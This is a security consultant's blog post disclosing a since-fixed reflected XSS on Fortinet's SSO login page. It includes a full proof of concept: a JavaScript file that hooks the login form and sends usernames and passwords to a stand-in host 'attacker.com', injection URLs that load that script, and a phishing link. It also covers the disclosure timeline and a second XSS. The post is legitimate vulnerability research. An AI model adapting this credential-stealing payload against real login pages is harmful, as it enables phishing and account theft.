[Contribution – PoC] Fortinet SSO IdP – Credential Stealer RXSS

04
Mar
2016
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Contributions / Vulnerabilities, exploits and PoC / XSS   /   No Comments

SSO authentication page of one of Fortigate IdP presents a Cross-Site Scripting vulnerability which can be used to steal user credentials in plaintext.

Introduction

Companies and current majors turn increasingly to identity federation. A central and single repository containing users credentials (login / password) like LDAP, AD, etc., a single web application centralized authentication (commonly referred to IdP for IDentity Provider) and federation protocols including standards SAML, WS -FED, OAuth, OpenID, etc.

The advantage of identity federation?

  • The protocols are secure and standardized
  • Sensitive credentials (passwords) no longer need to transit in clear during networks exchanges since the federation is based on trust between the parties.
  • Users data are centralized, facilitating management / renewal / update / cancellation / revokation.

However, keep in mind that the user has only one pair of credentials to remember. Those present in the central repository (LDAP / AD) and it uses only through the SSO authentication page. So if this authentication page is compromised and / or vulnerable, all federated applications are impacted.

Case History: Fortinet

Fortinet, the US multinational founded in 2000 and specializes in equipment / appliances of high performance-safety network was vulnerable to such an attack vector. Fortinet is also a leader in the Unified Threat Management solutions (UTM) and positions itself as a world leader in security solution after Cisco Systems and CheckPoint.

Fortinet set up a mechanism of SSO / federation for its various platforms. Thus, when attempting to access certain areas of the editor and services without being authenticated, we are redirected to a single authentication page. This is particularly the case for areas:

We are automatically redirected to “https://login.fortinet.com” which is the central IdP page for authentication.

Fortinet login center

Fortinet login center

Analysis and exploitation

Canonical RXSS with alert()

This redirection to the domain “login.fortinet.com” is accompanied by several GET parameters that, after successful authentication, redirect the user to the service expected. Example:

https://login.fortinet.com/login.aspx?ReturnUrl=%2f%3fwa%3dwsignin1.0%26wtrealm%3dhttps%253a%252f%252fsearchsupport.fortinet.com%252f%26wctx%3drm%253d1%2526id%253dpassive%2526ru%253d%25252fdefault.aspx%26wct%3d2015-12-07T12%253a27%253a53Z%26LoginMethod%3dLDAP&wa=wsignin1.0&wtrealm=https%3a%2f%2fsearchsupport.fortinet.com%2f&wctx=rm%3d1%26id%3dpassive%26ru%3d%252fdefault.aspx&wct=2015-12-07T12%3a27%3a53Z&LoginMethod=LDAP

Among these parameters, the “wtrealm” is vulnerable to an injection of reflected JavaScript code (RXSS) :

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP

Overview :

Fortinet SSO RXSS alert()

Fortinet SSO RXSS alert()

At the source, no verification of the value of the “wtrealm” is performed:

Fortinet SSO RXSS alert() source

Fortinet SSO RXSS alert() source

As the “wtrealm” parameter is changed, it no longer corresponds to a service provider (SP for Service Provider) trusted in the implementation of the Federation of Fortinet. So after the alert, an explicit message is visible on the login page:

Fortinet SSO RXSS error message

Fortinet SSO RXSS error message

Designing a payload for exploitation

In this case, the RXSS is located directly on the centralized authentication page. Thus, no need to create a fake login page to deceive potential victims.

The execution of arbitrary JavaScript in the context of the page being performed successfully, an attacker can load a remote JS script (as long as it is accessible through HTTPS – HSTS protocol) and change the DOM browser victims.

Such payload in a remote JS script would eg:

  • Hide error message present on the login page to avoid that the victim had suspicions.
  • Change the behavior of the HTML form submission (login / password POST)  of a legitimate user by inserting arbitrary treatment (hook).

The current authentication form basically sending the user data seeking to authenticate to the target specified in the attribute “<form action=TARGET>”.

To add arbitrary behavior just before the legitimate form submission, the idea is to use the event “onsubmit” on tag “form”. Indeed, it is always the events “on*” on tags that are executed before the standard attributes such “action=” or “href=” xHTML tags.

As an example, consider a simple tag following hyperlink:

<a href="https://www.google.com" onclick="this.href='https://www.asafety.fr'">Go to Google.com ? :)</a>

Which site do you visit? The one indicated by the browser status bar? 🙂

It’s exactly the same principle to a web form:

<form action="https://site.com/target" onsubmit="this.action='https://attacker.com/target'">

Note: The “action=” event following an “onsubmit=” of a “form” tag can be blocked if the JavaScript code “onsubmit=” return “false”. Same thing for a “a” tag between the event “onclick=” and “href=”.

To carry out the operating PoC, hiding the error message and changing the behavior of the form, the attacker can use the following x.js file:

//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);
// Add JQuery dynamically if needed
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'https://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq); // jquery dynamic loading
// function to send through GET the login/password of the victim to the attacker's server
function sendX(login, passwd){
 var x=document.getElementsByTagName('head')[0];
 var y= document.createElement('script');
 y.type= 'text/javascript';
 y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd;
 x.appendChild(y);
}
// function to recover the form submit action event
function submitX(){
 document.forms[0].onsubmit=function() {
 return true; // enable the form "action"
 };
 document.forms[0].submit();
}
// function to hook the login form and add an onsubmit action (before the form action)
function loadX(){
 $( document ).ready(function() {
 $("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page
 document.forms[0].onsubmit=function() {
 login=document.getElementById("contextHolder_Login_name").value;
 passwd=document.getElementById("contextHolder_Login_password").value;
 sendX(login,passwd); // retrieve login/password
 setTimeout("submitX()", 1000); // recover initial form submit action
 return false; // block the form "action"
 };
 });
}
setTimeout('loadX()', 2000);

Once x.js file hosted on “https://attacker.com/x.js”, and loaded in the victim DOM browser visiting “login.fortinet.com”, the following changes result occur:

  • The error message with id “contextHolder_InvalidRPAddress” is deleted.
  • The event “onsubmit” in the authentication form is created, and a function that sends the values entered in the “contextHolder_Login_name” and “contextHolder_Login_password” to a script “https://attacker.com/x.php” is set up (hook).
  • The post-execution of the form action is blocked until the data have been transmitted on the malicious site.
  • Then, after transmission, the behavior of the form is reset and the legitimate authentication takes place.

For the victim, besides an additional authentication time of one second, no change is visible.

The file x.js is loaded into the DOM of a victim via a URL like this:

https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP

The arbitrary script is loaded into the navigation context:

Fortinet SSO RXSS third-party script

Fortinet SSO RXSS third-party script

We can see that the error message is no longer visible. We concluded that the alteration of the DOM is functional and therefore the behavior of the form was changed.

Exploitation and demonstration

The attacker can then start a phishing campaign / spear-phishing from the exploitation of the vulnerability in URL. It can target sysadmins / DSI / Corporate RSSI featuring Fortinet equipment, and therefore usurp their credentials.

Example of a page as an illustration:

You need support for your Fortinet Product?<br />
Please login to the supportcenter here : <a target="_blank" href="https://searchsupport.fortinet.com/" onclick="this.href='https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/%3Cscript%3Es%3Ddocument.createElement%28%27script%27%29%3Bs.setAttribute%28%27src%27%2C%27%2f%2fattacker.com%2fx.js%27%29%3Bdocument.body.appendChild%28s%29%3B%3C%2fscript%3E&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP'">https://searchsupport.fortinet.com/</a>

Overview:

Fortinet phishing page

Fortinet phishing page

Attacker can consult his “https://attacker.com/x.txt” file to recover credentials in plaintext of all victims:

Fortinet SSO credentiels result

Fortinet SSO credentiels result

A demonstration video was produced to support the criticality of the vulnerability to the Fortinet teams:

Notification and Conclusion

Fortinet teams were informed on the day of the discovered attack vector (06.11.2015) through their ticketing system and security support (PSIRT). After validation and recognition of the vulnerability a few days later, a correction was conducted on 02.12.2015.

Hello,

Thank you for your report and my apologies for the delay in responding.
Our development team has confirmed your report and we are working on a fix now.

I will update you with an ETA.

Thanks!

The vulnerability is now fixed and non-exploitable.

Keep in mind that although the mechanisms and technologies of SSO / Identity Federation are secure and very fashionable now, poor implementation at the central authentication page may corrupt the entire system.

Users who have only one couple of credential to remember, if it is stolen, all the federated applications can be compromised.

I want to finish salute the teams of Fortinet for their kindness during our exchanges and correction speed (compared to other publishers in the same sector). also thank you for the quality of their products and services.

Update of 03.03.2016 :

After the report of the vulnerability on the authentication of IdP page, and fixing it, the ticket on the Fortinet tracking system was closed. Once a ticket is closed on this platform, the author of the ticket (myself), receives an email to perform a “satisfaction survey” (Customer Satisfaction Survey Request).

Email de l'étude de satisfaction

Email de l’étude de satisfaction

 

Wishing welcome the correction speed of vulnerability and courtesy of Fortinet teams, I thought “go, for once, you’ll answer their questionnaire” (positively of course).

So I followed the link “Click here to take survey” of the mail pointing to:

http://support.fortinet.com/survey/Survey.aspx?ticketid=ID

Seeing the parameter of the URL, I naturally reiterated my analysis by attempting to inject characters in the “TicketID”

Tentative d'injection sur le formulaire d'étude de satisfaction

Tentative d’injection sur le formulaire d’étude de satisfaction

Um, better, they integrated injected characters and strings filtering. Digging Deeper … and …

RXSS alert() sur le support.fortinet.com

RXSS alert() sur le support.fortinet.com

Rebelote !

Another Ticket been created few minutes after the close of the previous. But this XSS has not been corrected quickly (3 months later), hence the timeliness of this present article.

In any case, it is protected now I can do the satisfaction survey again!

Sources & resources :

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.